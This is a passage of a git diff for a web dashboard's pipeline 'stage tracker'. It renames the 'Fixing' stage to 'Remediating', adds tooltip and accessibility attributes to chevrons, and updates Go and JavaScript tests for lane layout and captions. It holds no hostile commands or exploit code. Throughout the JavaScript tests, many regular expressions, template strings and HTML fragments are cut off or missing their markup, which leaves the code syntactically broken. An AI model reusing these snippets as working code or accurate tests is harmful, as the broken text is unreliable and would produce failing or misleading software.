display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: var(--ham-chevron-text-lines); line-clamp: var(--ham-chevron-text-lines); position: relative; z-index: 1; margin-left: 0; max-width: 100%; min-width: 0; box-sizing: border-box; padding: 0 var(--sp-2); border-radius: var(--r-pill); background: var(--surface-0); color: var(--text); font-weight: var(--fw-medium); line-height: var(--ham-chevron-line-height); overflow: hidden; white-space: normal; overflow-wrap: anywhere; }` // wcagMinContrastAA is the WCAG 2.x AA ratio for normal text. const wcagMinContrastAA = 4.5 @@ -139,8 +139,10 @@ for (const [label, item] of [['merge gate', gateIssue], ['decision', decideIssue const lit = (row.match(/
  • 0 && reachable === lit, label + ': ' + lit + ' lit chevron(s), ' + reachable + ' at row > .ham-strip-row > .ham-strip > .ham-seg.active:\n' + row); - // The word is a child of the lit chevron, so the hide rule reaches it. - assert.ok(/
  • ]*>(?:<[^l][^>]*>|)*?<(?:span|button) class="(?:ham-seg-t|ham-detour|ham-decision-trigger)/.test(row), label + ': the word is a direct child of the lit chevron:\n' + row); + // The focusable tooltip/copy wrapper is a direct child, so the hide rule + // reaches the complete wrapped word and its reserved glyphs together. + assert.ok(/
  • ]*> c.classList.contains('cue-acting-cap')); assert.strictEqual(caps.length, 1, 'exactly one caption'); assert.strictEqual(caps[0].lastChild.nodeValue, 'Queuing for merge…'); assert.strictEqual(caps[0].getAttribute('role'), 'status'); +assert.strictEqual(caps[0].title, 'Queuing for merge…', 'clamped action caption retains its full hover text'); +assert.strictEqual(caps[0].getAttribute('aria-label'), 'Queuing for merge…'); +assert.strictEqual(caps[0].getAttribute('tabindex'), '0', 'full status remains keyboard accessible'); const capEls = caps[0].children.filter(c => c.classList); // the stub lists the text node too assert.strictEqual(capEls.length, 1, 'spinner + text only'); assert.ok(capEls[0].classList.contains('cue-acting-spin')); const shown = seg.children.filter(c => !c.classList.contains('cue-acting-cap')); diff --git a/src/pkg/dashboard/stage_tracker_activity.go b/src/pkg/dashboard/stage_tracker_activity.go index 455547218e..02e7999267 100644 --- a/src/pkg/dashboard/stage_tracker_activity.go +++ b/src/pkg/dashboard/stage_tracker_activity.go @@ -416,7 +416,7 @@ func stageTrackerApplyCodeActivity(it *StageTrackerItem, dispatch review.Dispatc // Bind an observed successful, worktree-verified edit to the exact // actor/repo/head assignment; unsupported instrumentation is unknown. if codeWork := trackerAssignedCodeWorker(status, it.Repo, it.Number, it.Head, fix.Agent, fix.Dispatched, now); codeWork != nil { - out.State, out.Caption, out.Active = "fixing", "Fixing Β· "+fix.Agent, true + out.State, out.Caption, out.Active = "fixing", "Remediating Β· "+fix.Agent, true out.Source, out.ObservedAt = "fix-dispatch+"+codeWork.Source, timePtr(codeWork.At) it.DisplayColumn = trackerNumberPRInProgress } @@ -462,15 +462,19 @@ func stageTrackerApplyCodeActivity(it *StageTrackerItem, dispatch review.Dispatc if it.Stage == trackerNumberNeedsDecision || it.Stage >= trackerNumberAwaitingMerge || it.Superseded != nil { it.DisplayColumn = 0 } - if out.State == "waiting_fixer" && strings.HasPrefix(it.Caption, "Fixing paused") { - out.Blocker = strings.Replace(it.Caption, "Fixing paused", "Fix task blocked", 1) + if out.State == "waiting_fixer" && (strings.HasPrefix(it.Caption, "Remediation paused") || strings.HasPrefix(it.Caption, "Fixing paused")) { + detail := strings.TrimPrefix(it.Caption, "Remediation paused") + if detail == it.Caption { + detail = strings.TrimPrefix(it.Caption, "Fixing paused") + } + out.Blocker = "Fix task blocked" + detail out.Source += "+fix-dispatch-status" } it.CodeActivity = out // Replace generic or previously projected activity, not independent // native facts such as a foreign bot conflict, hold or rebase episode. if it.Stage == trackerNumberFixing && it.Superseded == nil && - (it.Caption == "" || strings.HasPrefix(it.Caption, "Fixing") || activityCaption || out.Active) { + (it.Caption == "" || strings.HasPrefix(it.Caption, "Remediating") || strings.HasPrefix(it.Caption, "Remediation paused") || strings.HasPrefix(it.Caption, "Fixing") || activityCaption || out.Active) { it.Caption = out.Caption if out.Actor != "" && !out.Active { it.Caption += " Β· " + out.Actor diff --git a/src/pkg/dashboard/stage_tracker_activity.test.js b/src/pkg/dashboard/stage_tracker_activity.test.js index b0be4119a1..40be0adeb4 100644 --- a/src/pkg/dashboard/stage_tracker_activity.test.js +++ b/src/pkg/dashboard/stage_tracker_activity.test.js @@ -20,7 +20,7 @@ const STAGE_TRACKER_NEEDS_DECISION = 85, STAGE_TRACKER_ISSUE_NEEDS_DECISION = 45 const STAGE_TRACKER_ISSUE_DECISION_COLUMN = 10, STAGE_TRACKER_TRIAGE_NEEDED = 15, STAGE_TRACKER_POSSIBLY_EXISTS = 17; const STAGE_TRACKER_PRE_MERGE_SOAK = 95; `; -const track = new Function('esc', fn(strip, 'stageTrackerActivityTrackHtml') + ';return stageTrackerActivityTrackHtml;')(esc); +const track = new Function('esc', 'stageTrackerIcon', fn(strip, 'stageTrackerActivityTrackHtml') + ';return stageTrackerActivityTrackHtml;')(esc, (n, cls) => ``); const getAnchor = new Function(globals + anchor + ';return stageTrackerAnchor;')(); const header = new Function('esc', 'stageTrackerIcon', globals + fn(strip, 'stageTrackerHeaderHtml') + ';return stageTrackerHeaderHtml;')(esc, () => ''); const now = Date.parse('2026-11-02T21:00:00Z'); @@ -99,6 +99,374 @@ test('linked PRs carry independent evidence and hidden issue columns stay aligne assert.match(render, /ci_activity: lp.ci_activity \|\| null, review_activity: lp.review_activity \|\| null/); }); +const rowSource = fs.readFileSync(path.join(root, 'tracker-row.js'), 'utf8'); +const segments = new Function('stageTrackerAnchor', globals + ` +const STAGE_TRACKER_ACTIVE_WORD = {70: 'Fixing'}; +const STAGE_TRACKER_HUMAN_GATED = 85, STAGE_TRACKER_READY_FOR_HUMAN_MERGE = 90, STAGE_TRACKER_ADOPTED_BY_HIVE = 74; +function stageTrackerSentinelInLane() { return false; } +function stageTrackerUnauthorizedWord() { return ''; } +function stageTrackerManualMergeWord() { return 'Ready for human merge'; } +` + fn(rowSource, 'stageTrackerSegments') + ';return stageTrackerSegments;')(getAnchor); +const makeStripRenderer = (helpers = {}) => new Function('esc', 'stageTrackerSegments', 'stageTrackerActivityTrackHtml', ...Object.keys(helpers), globals + ` +const STAGE_TRACKER_MOTION_STATIC = 'static', STAGE_TRACKER_MOTION_ACTIVE = 'active'; +const STAGE_TRACKER_READY_FOR_HUMAN_MERGE = 90; +function stageTrackerActorKind() { return ''; } +function stageTrackerActorTip() { return ''; } +function stageTrackerMotion() { return STAGE_TRACKER_MOTION_STATIC; } +function stageTrackerIcon(n) { return ''; } +` + fn(strip, 'stageTrackerStripItems') + ';return stageTrackerStripItems;')(esc, segments, track, ...Object.values(helpers)); +const renderStrip = makeStripRenderer(); + +function physicalTracks(item) { + const rendered = renderStrip(item, stages, null, now, {}); + const cells = [...rendered.matchAll(//g)].map(match => match[0]); + assert.equal(cells.length, 8, 'actual strip expands native 050 into two physical tracks plus history'); + assert.match(cells[4], /data-track="ci"/); + assert.match(cells[5], /data-track="review"/); + return { rendered, cells, ci: cells[4], review: cells[5] }; +} +const livePR = extra => ({ kind: 'pr', head: 'head', stage: 50, modifiers: [], ...extra }); + +const actions = fs.readFileSync(path.join(root, 'tracker-actions.js'), 'utf8'); + +test('remediation wording preserves native identifiers, source names and waiting semantics', () => { + for (const caption of ['Fixing Β· FixingBot', 'Remediating Β· FixingBot']) { + const code = activity('fixing', caption, true); + const item = livePR({ stage: 70, display_column: 30, title: 'Fixing a widget β€” public PR title', code_activity: code }); + const current = physicalTracks(item).cells[3]; + assert.match(current, /Remediating Β· FixingBot/); + assert.match(current, /data-motion="active"/); + assert.equal(code.state, 'fixing', 'internal state stays stable'); + assert.equal(code.caption, caption, 'rendering does not rewrite recorded source evidence'); + assert.equal(item.title, 'Fixing a widget β€” public PR title'); + code.observed_at = new Date(now - 300000).toISOString(); + const stale = physicalTracks(item).cells[3]; + assert.doesNotMatch(stale, /data-motion="active"/); + assert.match(stale, /Fix task assigned Β· activity unknown/); + assert.doesNotMatch(stale, /ham-detour[^>]*>Remediating/); + } +}); + +test('12:01 screenshot density preserves physical tracks for issue-only, one-to-one, multi-PR and PR-only rows', () => { + const fixture = JSON.parse(fs.readFileSync(path.join(__dirname, 'webstatic/testdata/tracker-activity-density.json'), 'utf8')); + const clock = Date.parse(fixture.clock); + const fixtureStages = [...stages, { number: 90, short: 'Ready for human merge', branch_from: 80 }]; + for (const row of fixture.rows) { + const linked = row.linked_prs || []; + const items = linked.length === 1 ? [{ ...linked[0], kind: 'pr', repo: row.repo }] : + [row, ...linked.map(pr => ({ ...pr, kind: 'pr', repo: row.repo }))]; + for (const item of items) { + const range = item === row && linked.length > 1 ? { to: 20 } : item !== row && linked.length > 1 ? { from: 30 } : null; + const rendered = renderStrip(item, fixtureStages, range, clock, {}); + const cells = [...rendered.matchAll(//g)].map(match => match[0]); + assert.equal(cells.length, 8, 'all row structures retain seven lanes plus history'); + if (range?.from) { + assert.ok(cells.slice(0, 3).every(cell => /class="ham-seg blank"/.test(cell)), 'nested PRs reserve the physical Open–Claimed slots'); + } + if (range?.to) { + assert.ok(cells.slice(3).every(cell => /class="ham-seg blank/.test(cell)), 'multi-PR issue owns no PR-side activity'); + } + if (item.number === 344) { + assert.match(cells[4], /todo ham-current/); + assert.match(cells[5], /done ham-current/); + } + if (item.code_activity?.state === 'waiting_owner') { + assert.ok(cells[3].includes(item.code_activity.caption)); + assert.doesNotMatch(rendered, /data-motion="active"/, 'waiting for an author is not observed coding'); + } + for (const cell of cells.filter(cell => /data-display-state="unknown"/.test(cell))) { + const content = cell.match(/aria-describedby="[^"]+">([^]*?)]*>/g, '').trim(), '', 'missing evidence remains icon-only at screenshot density'); + } + } + } +}); + +test('merge-gate claim decisions wrap the complete gate caption and use only their existing decision dialog', () => { + const gate = { word: 'Claim conflict Β· @' + 'unbrokenclaimanthandle'.repeat(12), detail: 'needs a pick', tip: 'Two claimants need a human decision' }; + const decisionOf = new Function('stageTrackerItemKey', fn(actions, 'stageTrackerDecisionOf') + ';return stageTrackerDecisionOf;')(item => item.repo + '/' + item.kind + '#' + item.number); + const trigger = new Function('esc', fn(actions, 'stageTrackerDecisionTriggerHtml') + ';return stageTrackerDecisionTriggerHtml;')(esc); + const gateSource = fs.readFileSync(path.join(root, 'tracker-words-gate.js'), 'utf8'); + const gateWord = new Function('esc', 'stageTrackerMergeGateInfo', fn(gateSource, 'stageTrackerMergeGateWordHtml') + ';return stageTrackerMergeGateWordHtml;')(esc, () => gate); + const render = makeStripRenderer({ + stageTrackerDecisionOf: decisionOf, stageTrackerDecisionTriggerHtml: trigger, + stageTrackerMergeGateInfo: () => gate, stageTrackerMergeGateWordHtml: gateWord, + }); + const item = livePR({ + repo: 'hivecommons/hive', number: 7, stage: 80, reason: 'Unabridged claim conflict reason', + decision_needed: { question: 'Which claimant should continue?', blocker: 'Do not merge until the claim conflict is resolved' }, + }); + const cells = [...render(item, stages, null, now, {}).matchAll(//g)].map(match => match[0]); + const cell = cells[6]; + assert.match(cell, /^
  • ]*>/); + assert.match(cell, /ham-chevron-copy">', + stageTrackerTooltip: () => 'tooltip', + stageTrackerPRPillsHtml: ref => `${ref}base v5`, + stageTrackerActedBadgeHtml: () => '', + stageTrackerChipsHtml: () => chips, + stageTrackerMoveAttrs: () => '', + stageTrackerSinceHtml: () => '2m', + stageTrackerCurrentStageHtml: () => '', + stageTrackerRowToolsHtml: () => '', + stageTrackerStripItems: () => '', + }); + for (const name of ['STAGE_TRACKER_PATH', 'STAGE_TRACKER_PR_COLUMN', 'STAGE_TRACKER_TERMINAL', + 'STAGE_TRACKER_CLOSED_ISSUE_TITLE', 'STAGE_TRACKER_UNTITLED_ISSUE', 'STAGE_TRACKER_SOFT_LINK_VIAS', 'STAGE_TRACKER_SOFT_LINK_TIP']) { + vm.runInContext(pick(new RegExp('const ' + name + ' = [^\\n]*'), name), ctx); + } + for (const name of ['stageTrackerHeadColsHtml', 'stageTrackerHeaderHtml', 'stageTrackerRowHtml', 'stageTrackerSubRowHtml', + 'stageTrackerPRRef', 'stageTrackerPRIssueSlot', 'stageTrackerTitleHtml', 'stageTrackerSplitTitleTag']) { + vm.runInContext(fn(name), ctx); + } + return ctx; +} +const pr = { kind: 'pr', repo: 'hivecommons/hive', number: 7, stage: 70, title, author: 'a-very-long-contributor', author_kind: 'human', url: 'https://github.com/hivecommons/hive/pull/7' }; +const issue = { kind: 'issue', repo: pr.repo, number: 1, stage: 20, title: '[scanner] ' + title, url: 'https://github.com/hivecommons/hive/issues/1' }; + +for (const [name, item] of [ + ['issue-only', issue], + ['linked issue/PR', { ...issue, linked_prs: [pr] }], + ['PR-only', pr], +]) test(name + ': full metadata stays in the correct header slots', () => { + const ctx = load(); + const rendered = ctx.stageTrackerRowHtml(item, [], { nowMs: 1, repoChips: {} }); + const start = Number(rendered.match(/data-ham-pr-start="(\d+)"/)[1]); + assert.equal(start, 4, 'PR metadata starts at PR in progress, not Actionable'); + const lead = rendered.match(/
  • ([\s\S]*?)<\/li>/)[1]; + if (name === 'PR-only') { + assert.match(lead, /no linked issue/); + assert.doesNotMatch(lead, /#7/); + } else { + assert.match(lead, /#1/); + assert.ok(lead.includes(title), 'complete issue title, not a shortened replacement'); + assert.match(lead, /ham-title-tag/); + } + if (name !== 'issue-only') { + const ref = rendered.match(/
  • ]*>([\s\S]*?)<\/li>/)[1]; + assert.match(ref, /#7/); + assert.ok(ref.includes(title)); + assert.match(ref, /ham-author-human/); + if (name === 'linked issue/PR') assert.match(rendered, /data-ham-target-key="pr:7"/); + } + assert.ok(rendered.includes(chips), 'waiting, push, and regression metadata is retained'); +}); + +function rule(selector) { + // Match the whole selector, not its suffix in ".ham-cols .ham-strip". + const found = html.match(new RegExp('(?:^|[\\r\\n])[\\t ]*' + selector.replace(/[.*+?^${}()|[\]\\]/g, '\\$&') + ' \\{([^}]+)\\}')); + assert.ok(found, selector); + return found[1]; +} + +test('persistent human/preparation context wins the generic event-entry animation cascade', () => { + assert.match(rule('.cue-event'), /animation: cue-event-in/); + for (const selector of ['.cue-event.ham-human-context', '.cue-event.ham-preparation-comment']) { + assert.match(rule(selector), /animation: none/); + assert.ok(selector.split('.').length > '.cue-event'.split('.').length, + 'persistent context has greater specificity even when the generic event rule appears later'); + } +}); + +test('row materialization binds canonical header boundaries for root and nested rows', () => { + const headers = ['4', '5'].map(hamPrStart => ({ + dataset: { hamPrStart }, properties: {}, + style: { setProperty(name, value) { this.owner.properties[name] = value; } }, + })); + for (const header of headers) header.style.owner = header; + const node = { dataset: {}, querySelectorAll(selector) { + assert.equal(selector, '.ham-head-cols[data-ham-pr-start]'); + return headers; + } }; + const ctx = vm.createContext({ _stageTrackerRowSrc: null, + document: { createElement: () => ({ content: { firstElementChild: node } }) } }); + vm.runInContext(fn('stageTrackerRowNode'), ctx); + assert.equal(ctx.stageTrackerRowNode('issue:1', ''), node); + assert.equal(node.dataset.hamKey, 'issue:1'); + assert.deepEqual(headers.map(header => header.properties['--ham-pr-start']), ['4', '5']); +}); + +test('spans share the physical lane grid, including independent concurrent CI/Review', () => { + const ctx = load(); + const header = ctx.stageTrackerHeaderHtml([]); + const physicalCount = (header.match(/
  • CI<\/span>/); + assert.match(header, />Review<\/span>/); + const strip = rule('.ham-strip'); + assert.match(strip, /display: grid/); + assert.match(strip, /grid-template-columns: repeat\(var\(--ham-visible-columns\), minmax\(0, 1fr\)\) 4em/); + const laneCount = Number(strip.match(/--ham-visible-columns: (\d+)/)[1]); + assert.equal(laneCount, physicalCount - 1, 'CSS and actual rendered lane count must agree'); + assert.match(rule('.ham-head-cols .ham-seg.ham-head-lead'), /grid-column: 1 \/ var\(--ham-pr-start\)/); + assert.match(rule('.ham-head-cols .ham-seg.ham-head-pr'), /grid-column: var\(--ham-pr-start\) \/ -2/); + assert.match(rule('.ham-head-cols .ham-seg.cap'), /grid-column: 1 \/ -1; grid-row: 2/); + assert.match(rule('.ham-head-cols .ham-seg.cap'), /justify-content: flex-end/); + // Resolve the declared grid lines using the actual header's track count. + // Content cannot alter minmax(0,1fr) track widths; covered gaps belong to spans. + const start = Number(ctx.stageTrackerHeadColsHtml(['PR'], 'issue', chips).match(/data-ham-pr-start="(\d+)"/)[1]); + const gap = 4, cap = 48; + for (const width of [2400, 1440, 1110]) { + const lane = (width - cap - laneCount * gap) / laneCount; + const prLeft = (start - 1) * (lane + gap); + const issueRight = (start - 1) * lane + (start - 2) * gap; + const prRight = laneCount * lane + (laneCount - 1) * gap; + assert.ok(Math.abs(prLeft - issueRight - gap) < 1e-9, 'issue span ends one gutter before PR'); + assert.ok(Math.abs((prRight - prLeft) - ((laneCount - start + 1) * lane + (laneCount - start) * gap)) < 1e-9); + assert.ok(prRight < width - cap, 'PR span excludes the history cap'); + } + vm.runInContext('STAGE_TRACKER_PATH.splice(2, 0, 15)', ctx); + assert.match(ctx.stageTrackerHeadColsHtml(['PR']), /data-ham-pr-start="5"/, 'boundary derives from canonical stages, not a second hard-coded span'); +}); + +test('long metadata wraps in bounded slots and the narrow layout resets both grid axes', () => { + assert.match(rule('.ham-head-cols .ham-seg.ham-head-pr'), /flex-wrap: wrap/); + assert.match(rule('.ham-head-cols .ham-seg.cap .ham-badges'), /flex-wrap: wrap/); + assert.match(rule('.ham-head-cols .ham-seg.cap .ham-badges'), /max-width: 100%/); + assert.match(rule('.ham-head-cols .ham-seg.cap .ham-badges'), /justify-content: flex-end/); + assert.match(rule('.ham-head-cols .ham-badge'), /white-space: normal; overflow-wrap: anywhere/); + assert.match(html, /\.ham-head-main > \.ham-title, \.ham-head-pr \.ham-pr-title \{ white-space: normal; overflow: visible; overflow-wrap: anywhere; \}/); + assert.match(html, /@media \(max-width: 1100px\) \{[\s\S]*?\.ham-head-cols \.ham-strip > \.ham-seg \{ grid-column: 1 \/ -1; grid-row: auto; padding: 0; \}/); + assert.doesNotMatch(html, /\.ham-strip:not\(\.ham-head-cols\)/, 'the old ancestor/element selector mistake must not return'); +}); + +test('issue-only, linked and PR-only controls occupy one full-row far-right toolbar, independent of title spans', () => { + for (const [number, label, history, blocked] of [ + [15329, 'Let hive decide', 1, false], + [16242, '', 0, false], + [16422, 'Accept triage', 0, false], + [16423, '', 1, false], + [16363, '', 0, false], + [16424, 'Close now', 0, false], + [431, '', 1, true], + ]) { + const ctx = load(); + ctx.stageTrackerActedBadgeHtml = () => history ? 'history ' + history + '' : ''; + ctx.stageTrackerChipsHtml = () => blocked ? 'blocked' : ''; + ctx.stageTrackerLeadButtonHtml = () => label ? '' : ''; + for (const item of [{ ...issue, number, is_tracker: number === 16242 }, { ...issue, number, linked_prs: [pr] }, { ...pr, number }]) { + const rendered = ctx.stageTrackerRowHtml(item, [], { nowMs: 1 }); + const toolbar = rendered.match(/
  • ([^]*?)<\/li>/)[1]; + if (label) { + assert.ok(toolbar.includes(label)); + assert.equal(rendered.split(label).length - 1, 1, 'action is not duplicated to fake alignment'); + assert.match(toolbar, /type="button"[^]*data-action="fixtureAction"/); + } + if (history) assert.match(toolbar, /ham-acted" tabindex="0">history 1/); + if (blocked) assert.match(toolbar, />blocked([^]*?)<\/li>/)[1]; + assert.doesNotMatch(lead, /ham-lead-act|ham-acted|>blocked { + const fixture = JSON.parse(fs.readFileSync(path.join(__dirname, 'webstatic/testdata/tracker-activity-density.json'), 'utf8')); + const ctx = load(); + vm.runInContext(fn('stageTrackerPRPillsHtml'), ctx); + ctx.stageTrackerChipsHtml = item => item.push ? `${esc('@' + item.push.login + ' Β· ' + (item.rework?.state || item.push.state))}` : ''; + ctx.stageTrackerLeadButtonHtml = item => { + const text = item.linked_prs?.length > 1 ? 'Let hive decide β€” all ' + item.linked_prs.length + ' PRs' : item.decision_needed ? 'Let hive decide' : item.manual_merge ? 'Approve and let hive merge' : ''; + return text ? `` : ''; + }; + ctx.stageTrackerActedBadgeHtml = item => item.operator_action_count ? 'history 1' : ''; + ctx.stageTrackerHumanContextHtml = item => item.reason ? `
    ${esc(item.reason)}
    ` : ''; + let multi = 0, nested = 0; + for (const item of fixture.rows) { + const rendered = ctx.stageTrackerRowHtml(item, [], { nowMs: Date.parse(fixture.clock), repoChips: {} }); + const children = item.linked_prs?.length > 1 ? item.linked_prs : []; + multi += children.length > 1 ? 1 : 0; + nested += children.length; + assert.equal((rendered.match(/
    /g)) { + assert.match(header[1], /data-ham-pr-start="4"/); + assert.equal((header[1].match(/class="ham-seg cap"/g) || []).length, 1, 'one separate far-right toolbar per identity'); + const lead = header[1].match(/ham-head-lead[^"]*">([^]*?)<\/li>/)[1]; + assert.doesNotMatch(lead, /ham-badge-waiting|ham-lead-act|ham-acted/, 'activity/action/history controls never overprint the issue title slot'); + } + for (const pr of children) { + const start = rendered.indexOf('data-ham-sub-key="pr:' + pr.number + '"'); + assert.ok(start >= 0); + const sub = rendered.slice(start).split('
  • ]*)>([\s\S]*?)<\/li>/.exec(parked); assert.ok(lit, 'the lit merge-gate chevron carries ham-sentinel: ' + parked); assert.ok(lit[2].includes('Sentinel alert Β· needs human'), 'lane text: ' + lit[2]); -assert.ok(!lit[2].includes('Needs human decision'), 'the plain word is replaced, not appended'); +const visibleChevron = lit[2].replace(/]*class="config-tooltip ham-chevron-tip"[^>]*>[^<]*<\/span>/g, '').replace(/<[^>]+>/g, ''); +assert.ok(visibleChevron.includes('Sentinel alert Β· needs human'), 'visible chevron names the sentinel gate'); +assert.ok(!visibleChevron.includes('Needs human decision'), 'the plain word is replaced, not appended in visible copy; full context remains in the tooltip'); assert.ok(lit[1].includes('title="' + TIP + ' β€” '), 'the chevron tooltip leads with the reason: ' + lit[1]); assert.ok(lit[1].includes('aria-current="step"')); assert.ok(lit[1].includes('aria-label="Sentinel alert Β· needs human β€” ' + TIP + '"'), 'aria-label carries the wording: ' + lit[1]); diff --git a/src/pkg/dashboard/stage_tracker_test.go b/src/pkg/dashboard/stage_tracker_test.go index a4ea892e98..9b44ad7678 100644 --- a/src/pkg/dashboard/stage_tracker_test.go +++ b/src/pkg/dashboard/stage_tracker_test.go @@ -95,13 +95,19 @@ func TestStageTrackerStagesFallsTo(t *testing.T) { // returned-to-contributor (clanker) are both review-side detours with their // own chevron word and an author-must-act caption. func TestStageTrackerNeedsAuthorAndReturnedWords(t *testing.T) { + for _, stage := range stageTrackerStages(nil) { + if stage.Number == stagelabels.Fixing.Number() && + (stage.Label != stagelabels.Fixing.Label() || stage.Short != "Remediating" || stage.Description != "CI failed or review changes requested; remediation needed") { + t.Fatalf("remediation display wording changed the native identity or lost its waiting-safe description: %+v", stage) + } + } for _, tc := range []struct { stage stagelabels.Stage word, captionHead string }{ {stagelabels.NeedsAuthor, "Needs author", "Needs @sam"}, {stagelabels.ReturnedToContributor, "Returned to contributor", "Returned to @sam"}, - {stagelabels.Fixing, "Fixing", "Red or changes requested; a hive agent is fixing it"}, + {stagelabels.Fixing, "Remediating", "CI failed or review changes requested; remediation needed"}, } { if got := stageTrackerShort(tc.stage); got != tc.word { t.Errorf("%v: short = %q, want %q", tc.stage, got, tc.word) diff --git a/src/pkg/dashboard/stage_tracker_ui_prelude_test.go b/src/pkg/dashboard/stage_tracker_ui_prelude_test.go index cc9b4a8d4f..73a6b88b7c 100644 --- a/src/pkg/dashboard/stage_tracker_ui_prelude_test.go +++ b/src/pkg/dashboard/stage_tracker_ui_prelude_test.go @@ -209,7 +209,8 @@ const segStates = (html) => Array.from(strip(html).matchAll(/
  • ]*>(.*?)<\/a>/g)).map(m => m[1]); const B = 'blank'; -const text = (h) => h.replace(/<[^>]+>/g, '').replace(/'/g, "'").replace(/\s+/g, ' ').trim(); +const visibleMarkup = (h) => h.replace(/]*class="config-tooltip ham-chevron-tip"[^>]*>[^<]*<\/span>/g, ''); +const text = (h) => visibleMarkup(h).replace(/<[^>]+>/g, '').replace(/'/g, "'").replace(/\s+/g, ' ').trim(); // The row tooltip rides the issue's #N link on an issue row and the PR link // (after "PR title Β· ") on a PR row; the issue slot of a PR row carries none. const tooltip = (row) => (/]*title="([^"]*)"/.exec(row) || /]*title="([^"]*)"/.exec(row))[1]; diff --git a/src/pkg/dashboard/stage_tracker_ui_rows_test.go b/src/pkg/dashboard/stage_tracker_ui_rows_test.go index 88aa80cc10..625e2d013b 100644 --- a/src/pkg/dashboard/stage_tracker_ui_rows_test.go +++ b/src/pkg/dashboard/stage_tracker_ui_rows_test.go @@ -35,7 +35,7 @@ assert.ok(/aria-label="Pipeline progress">[\s\S]*?<\/ol>\s*[\s\S]*?<\/span><\/li><\/ol><\/span><\/div>\s*<\/div>\s*
    /.test(row), 'the chip cell closes the title line, directly above its own strip row'); assert.ok(row.indexOf('
    ') < row.indexOf('ham-badges') && row.indexOf('ham-badges') < row.indexOf('aria-label="Pipeline progress"'), 'chip and strip share one row container'); assert.ok(row.includes('ham-kind-ico'), 'kind icon'); -assert.strictEqual((strip(row).match(/triage needed'), row); -assert.ok(/aria-current="step">]*>[\s\S]*?<\/svg>Open<\/span><\/li>/.test(row), row); +assert.ok(/aria-current="step">]*>]*>[\s\S]*?<\/svg>Open<\/span><\/span>/.test(row), row); assert.ok(tooltip(row).startsWith('Open No stage recorded yet') && tooltip(row).includes('Flags: triage needed'), tooltip(row)); // 015 triage-needed: the Actionable column lights (not a detour) with the @@ -75,7 +75,7 @@ assert.ok(tooltip(row).startsWith('Open No stage recorded yet') && tooltip(row). // chevron tooltip name the stage; the server already dropped the chip. row = stageTrackerRowHtml({ repo: 'acme/console', number: 13262, kind: 'issue', title: 'Review backlog (security)', stage: 15, author: 'hive-bot', author_kind: 'hive', caption: 'Actionable, but no maintainer has looked at it yet; waiting for triage' }, stages, ctx); assert.deepStrictEqual(segStates(row), [D, 'active', T, T, T, T, 'todo cap'], '015 lights the Actionable column: ' + row); -assert.ok(/aria-current="step">]*>[\s\S]*?<\/svg>Triage needed<\/span>]*>]*>[\s\S]*?<\/svg>Triage needed<\/span><\/span>]*>[\s\S]*?<\/svg>Actionable<\/span><\/li>/.test(row), row); +assert.ok(/aria-current="step">]*>]*>[\s\S]*?<\/svg>Actionable<\/span><\/span>/.test(row), row); // Plain Open (no stage label, not held) says how long it has sat there, from // the same instant the since column draws (stage_since), with the ISO time on @@ -212,7 +212,7 @@ assert.ok(!stageTrackerRowHtml({ repo: 'acme/console', number: 30, kind: 'pr', t // With the PR's stage known the issue strip rides it (merge queue β†’ Merge gate lit, hive move). row = stageTrackerRowHtml({ repo: 'acme/console', number: 8, kind: 'issue', stage: 40, linked_prs: [{ number: 102, title: 'Fix it', author_kind: 'human', author: 'bob', stage: 100, stage_since: new Date(now - 7200000).toISOString(), modifiers: ['stalled'], caption: 'Admitted, merging' }] }, stages, ctx); assert.deepStrictEqual(segStates(row), [D, D, D, D, D, 'active', 'todo cap']); -assert.ok(row.includes('MergingMergingstalled') && row.includes('2h'), 'chips + since come from the covering PR: ' + row); assert.ok(tooltip(row).includes('Admitted, merging') && tooltip(row).includes('Covering PR: #102'), tooltip(row)); assert.ok(prCol(row)[0].includes('ham-author-human') && prCol(row)[0].includes('Fix it'), prCol(row)[0]); @@ -334,7 +334,7 @@ assert.ok(row.includes('Review unknown') && row.includes('CI unknown'), 'legacy // 071 needs-author: the owner wait returns to PR in progress without pretending coding. row = stageTrackerRowHtml({ repo: 'acme/console', number: 109, kind: 'pr', stage: 71, author: 'sam', author_kind: 'human', history: [{number:50,slug:'review-pending'},{number:71,slug:'needs-author',from:50}] }, stages, ctx); assert.deepStrictEqual(segStates(row), [D, D, D, 'active detoured', T, T, 'todo cap']); -assert.ok(row.includes('aria-label="Next move: human"') && row.includes('Needs @samNeeds @samPR in progressPR in progressPR in progressPR in progressClaimedClaimedClaimed'), 'no claimant known, no icon: ' + row); row = stageTrackerRowHtml({ repo: 'acme/console', number: 9, kind: 'issue', stage: 10 }, stages, ctx); assert.ok(!row.includes('ham-actor-ico') && !tooltip(row).includes('Next move'), row); row = stageTrackerRowHtml({ repo: 'acme/console', number: 105, kind: 'pr', stage: 90 }, stages, ctx); -assert.ok(row.includes('aria-label="Next move: human"') && row.includes('Ready for human mergeReady for human mergeFix it'), prCol(sr[0])[0]); assert.deepStrictEqual(segStates(sr[0]), [B, B, B, D, 'active detoured', T, 'todo cap'], 'PR strip starts at PR in progress'); assert.ok(sr[0].includes('Waiting for fixer') && !sr[0].includes('ham-actor-ico') && sr[0].indexOf('1h') > sr[0].indexOf('aria-label="Pipeline progress"') && sr[0].includes('ham-mod-needs-rebase">needs rebase'), 'a rebase label and next mover cannot manufacture observed coding: ' + sr[0]); -assert.ok(/^ data-ham-kind="pr" data-ham-stage="70" data-ham-sub-key="acme\/console\/pr#102">/.test(sr[0]) && /]*title="Fix it Β· Fixing review findings Rebasing onto main/.test(sr[0]), 'sub-row tooltip rides the PR link, not the container: ' + sr[0].slice(0, 400)); +assert.ok(/^ data-ham-kind="pr" data-ham-stage="70" data-ham-sub-key="acme\/console\/pr#102">/.test(sr[0]) && /]*title="Fix it Β· Remediating CI or review findings Rebasing onto main/.test(sr[0]), 'sub-row tooltip rides the PR link, not the container: ' + sr[0].slice(0, 400)); assert.ok(prCol(sr[1])[0].includes('ham-author-clanker') && prCol(sr[1])[0].includes('#103')); assert.deepStrictEqual(segStates(sr[1]), [B, B, B, 'active', T, T, 'todo cap'], 'a PR at 030 lights PR in progress on its own sub-row'); assert.ok(!row.slice(0, row.indexOf('
